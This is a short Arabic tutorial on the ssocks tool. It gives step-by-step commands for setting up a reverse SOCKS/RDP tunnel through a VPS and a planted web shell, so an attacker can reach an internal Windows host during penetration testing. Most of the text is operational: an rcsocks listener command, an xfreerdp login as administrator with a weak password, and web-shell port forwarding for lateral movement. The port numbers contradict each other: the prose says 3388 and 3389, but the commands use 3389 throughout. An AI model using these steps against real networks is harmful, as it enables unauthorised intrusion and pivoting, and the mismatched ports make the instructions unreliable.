ianxtianxt/ssocks-0.0.14وكيل SOCKS لتوجيه المنافذ وعمل نفق عبر RDP، مما يتيح الحركة الجانبية والوصول عن بُعد في سيناريوهات اختبار الاختراق.
الخطوة الأولى: استخدم sSocks على VPS لإنشاء علاقة توجيه بين المنفذين 3388 و3389، لتحقيق تدفق حركة المرور بينهما:
root @ kali：〜＃/ root / ssocks-0.0.14 / src / rcsocks -l 3389 -p 3389 -vv
الخطوة الثانية: من جهة المهاجم، اتصل بالمنفذ 3388 على VPS. يُنصح باستخدام freerdp بدلاً من rdesktop، لأن الأول يدعم انتظار الاتصال عن بُعد والمحلي، ونسخ ولصق النصوص، وتركيب نظام الملفات البعيد:
root@kali:~#xfreerdp /u:administrator /p:admin /v:【你的ip】:3389
الخطوة الثالثة: نفّذ فورًا تمرير المنافذ على الويب شيل، وقد تحتاج إلى النقر على start عدة مرات متتالية.
ملاحظة: العملية برمتها حساسة لترتيب الخطوات. بعد إعداد توجيه المنافذ على rcsocks في VPS، يمكنك تجاهله؛ نفّذ أولًا xfreerdp على جهة المهاجم وأبقِ الجلسة نشطة، ثم مرّر منفذ 3389 للشبكة الداخلية عبر الويب شيل.
